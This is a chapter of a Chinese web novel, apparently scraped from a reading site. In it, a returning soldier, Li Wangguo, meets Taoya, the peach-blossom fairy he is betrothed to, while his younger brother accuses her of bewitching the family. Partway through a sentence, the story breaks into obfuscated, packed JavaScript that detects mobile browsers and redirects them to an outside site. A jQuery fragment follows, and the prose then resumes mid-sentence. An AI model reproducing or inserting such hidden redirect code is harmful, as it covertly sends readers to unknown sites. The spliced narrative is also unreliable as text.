没几步路就到了李家小院。
夜色下,一座齐整的农村小院静静立着。
月亮已经钻出云层,洒下清辉,桃花山在月光下显得更加高大神秘,像堵在屋后的巨大黑影。
但在山的暗影里,院里那盏昏黄的煤油灯,像黑夜里的一个暖窝,给归家的人带来踏实和心安。
李旺国望着这小院,心里涌起久违的安稳。
就连岳建国看着这透着昏黄灯火的小院,也感受到一种城里没有的、安宁平和的农家气息。
范海棠推开院门,亮着嗓子喊:“桃丫!桃丫!”
随着喊声,东厢房的门吱呀一声开了,走出个姑娘来。
许是院里只有朦胧月色,东厢房的煤油灯光被她挡在身后,给她窈窕的身影镶了道昏黄模糊的光边。
连岳建国都晃了下神,甚至心里咯噔一下,疑心是不是摸错了门,惊扰了啥?
不为别的。就为这姑娘的模样。她那白净的脸蛋,水灵灵带着笑的眼睛,乌黑油亮的大辫子,在身后一甩一甩的。她走起路来轻快,像山涧里蹦跳的小鹿。她那目光,在众人脸上轻轻一扫,却像是带了钩子,让人挪不开眼。
虽背着光,可大伙儿都瞧得真真儿的。她的眼睛像清泉,又像天上的星星落下来了,鼻梁挺直,脸蛋红扑扑透着光,嘴唇红润,脖颈细长,身段匀称好看。她整个人,活脱脱像一支刚掐下来的、带着露水的鲜花。
灯光混着星光,黑夜衬着月亮。
在这安静暖和的夜里,这姑娘一步步走过来,显得那么不真实,像一场稀奇古怪又好看的梦。
连岳建国跟荣和平都不自觉地屏住了气。
他们疑心自己花了眼。
在这样一个农家院。冒出这样一个姑娘,长着这样一张脸。迈着轻巧的步子。带着股说不出的劲儿。
这……是真的?是应该的?是正常的?
李旺国愣了一瞬才回神。
等桃丫快步走到跟前,甜甜一笑。刚才那股子奇异的、不像人的感觉好像就散了。
可,眼前的鲜活劲儿,一点没减她的好看。
她还是好看得挑不出毛病。
就算岳建国这会儿用最挑剔的眼光看她;也得承认,他城里头、部队里,从没见过长这样的姑娘。不,他估摸着往后也难再见到第二个。
荣和平张着嘴,好半天才合上。
李旺国看了一眼,就赶紧挪开视线。
他不知道自个儿在想啥。只觉得心里头空落落的,没个着处。
桃丫可不管这些人心里头翻腾啥。她只晓得,海棠婶领人回来了。她肯定又有好吃的了!
桃丫笑得更甜了,脆生生地喊:“婶子,您回来啦!”
她的声音又清又亮,像早晨草叶上的露水珠,又像冰棱子敲在盘子上。
就像大热天灌了碗沁凉凉的井水。一下子,把几个发呆的人都浇清醒了。
荣和平脸一热,赶紧闭上嘴低下头。
范海棠笑道:“哎呀,桃丫等急了吧?”
桃丫噎了一下。她能说自己压根没等吗?
她清亮亮的目光唰地投向站在当间的李旺国,笑得眉眼弯弯。
嗯,他个头最高,模样最俊了!而且他那包里准有好吃的!
她都闻见味儿了!
桃丫笑嘻嘻伸出手:“你就是李旺国吧?我那个……对象!你好呀!我叫桃丫!”
李旺国看着她的手,那是一双细白的手,在月光下白得像刚剥壳的鸡蛋。
他嘴唇动了动。他心里还是想着要退亲的。
可是,他觉着身上有点不听使唤,一股热乎劲儿慢腾腾从心口窝冒出来,蹿遍了全身。
连血好像都跟着热了。
不过,天黑,没人瞧见他脸红了。
李旺国也强作镇定伸出手去。
但他觉得嗓子眼发干,干得说不出话。
李旺国清了清嗓子,轻轻碰了下桃丫的手,立刻像被烫着似的缩回来。
“咳,你、你好,我是李旺国,元……桃丫同志。”
范海棠心里直骂儿子不开窍:管没过门的媳妇叫同志?
她瞪了李旺国一眼,恨铁不成钢:“叫桃丫就行!叫啥同志!桃丫,你也别见外,叫他旺国!”
桃丫笑着应:“好呀,旺国!”
她那声音,尾音微微上翘,像小浪头。
反正李旺国听了,心里就俩字:要糟。
不行,他不能让自己的意志力就被这样轻松腐蚀。
岳建国脸色复杂。
他预想了很多言论,可这会儿一句也倒不出来。
李远征发话:“天不早了,你们仨也乏了,赶紧拾掇拾掇歇着。庆国,领你哥他们先去打水洗脸洗脚。”
李庆国忙答应:“诶,锅里温着水呢。”
范海棠安排道:“如今桃丫住东屋,旺国你跟庆国挤西屋。爱国那屋空着,建国跟和平,你们哥俩凑合挤挤,行不?”
岳建国赶紧说:“婶子,没意见。”
兄弟俩进了西屋,李旺国把沉甸甸的行李撂在炕上。就在这当口,他闻到一股甜丝丝的香气。
这阵芳香像是由远及近,又令他怀疑自己产生错觉。
一定是错觉。
他们的院子没有,他怎么会闻到桃花的清甜香味?
连大碾子村桃花山上,所有的桃树都已经被砍得干干净净。
因为曾有人说,“它们是资产阶级桃树”。
但是,这阵芳香似乎是真实的,不是他的错觉。
李旺国猛地转身。
他看见一个苗条的身影,像小鹿似的背着月光过来了。
她脸上的表情瞧不清,只依稀看见那好看的脸上带着甜甜的笑。
李旺国深吸一口气。
他觉得身上哪哪都不听招呼了,一个劲儿地闹腾。
连耳朵里都嗡嗡响,搅得他没法按自个儿的心思来。
李旺国觉得他拿出了比平时更坚定、坚决、□□十倍的意志。
才能状若无事地说话。
他的声音比平时更低沉、严肃。“你跑来干什么?不要进来!桃丫……同志。”
最后“同志”两字的发音,低至无声。
李旺国觉得,再这么下去,他怕是要管不住自个儿了。
桃丫惊讶地睁大了眼睛。
她有些愣神地看着李旺国。
不得不承认,这个凡人的样貌,真是恰好长在她心坎上。
她很喜欢!
不过,这个人似乎有些抗拒她。
是抗拒吗?
桃丫又觉得不是。
他的语言和他严肃的表情在抗拒她。
可是他浑身的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283303|182563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肢体,似乎又述说着另一种意志。
他发红的脸——哪怕在黑暗中桃丫也看得很清楚。
他紧攥的拳头,如同渊渟岳峙般站在原地的身姿。
桃丫觉得他踩在地面一定费了很大的力气。
仿佛他不这么踩着,就好像有什么东西要把他拽走——拽去那无名之地。
桃丫歪了歪头,忽然就笑了。
李庆国冲出来,梗着脖子嚷:“元桃丫!你看清楚了!我哥——他可是铁打的革命战士!你那套歪门邪道糊弄不了他!哼!瞧见没?我哥不吃你这套!甭以为糊弄了我爹我娘,你就能在咱家横着走!我哥回来了!你得意到头了!”
他龇着牙,像只护食的小狗,还挥了挥拳头。
桃丫觉得好笑,瞅着他。
哦,原来这小子认准了是她迷惑了他爹娘?怪不得有几回她听见他偷偷骂“妖女”。
不过说的也不算全错。她身为桃花仙,最懂怎么让人着迷。可惜,她懒得用。
只是,她本能泄出的一些本源气息,会把人心里头的念想放大。
比如喜欢她的更喜欢,讨厌她的更讨厌。恶的更恶,善的更善。
这都不是什么大问题。
悲悯的桃花仙,看李庆国这样跳脚,就跟看只奶凶奶凶的小狗崽没两样。
半点威胁都没有。
而且,现在她对逗李庆国玩已经没啥兴致了。
她现在感兴趣的是李旺国。
被那热辣辣的目光盯着,李旺国觉得后背都绷直了。
他说话差点打磕巴,使劲拍了下李庆国的胳膊:“不许这么跟……桃丫说话!”
他差点顺嘴溜出“嫂子”,臊得赶紧咬了下舌尖。
李庆国一脸受伤,盯着李旺国。
李旺国撇开目光。
桃丫懒得理会他们的目光交锋,两眼直勾勾盯着李旺国搁炕上的背包。
“里面有什么?”她眼睛发亮地问。“肯定有好吃的!我都闻着香了!”
被她这么一看,李旺国恨不能立马去给她搬座吃的山来,就为看她笑。
不过他的意志回笼,冷静了下道:“嗯……”
他话没出口,李庆国就嚷开了:“二哥你瞅见了吧!她是不是就稀罕好吃的!咱家那点腊肉都快让她吃见底了!”
李旺国狠狠给了他一胳膊肘,板着脸训:“胡说什么呢?谁许你这么编排人家女同志的?像话吗?道歉!”
他脸一沉,李庆国还是有点怵他。
只是,李庆国觉得心里头有啥东西“咔嚓”碎了。
他伤心欲绝地冲出西屋,临走那一眼,让李旺国觉得自己干了啥亏心事。
李旺国不由得有点心虚。
他轻咳一声,这才发觉屋里就剩他跟桃丫俩人了。
灯也没开,只借着院里漏进来的月光和东屋透过来的一点灯亮。
李旺国俊脸通红。
他用手搓了把脸,深吸口气,过去拉开了灯绳。
灯泡一亮。
明晃晃的灯光下,桃丫站在那儿,好看得扎眼,李旺国更是不敢直视。
他转身,动手拉开背包,掏出一大包吃的。
有他从省城部队特意捎回来的麦乳精、鸡蛋糕、肉罐头。有他在路上车站买的当地零嘴儿。里头还有一包酱猪蹄。想必桃丫闻到的就是这味。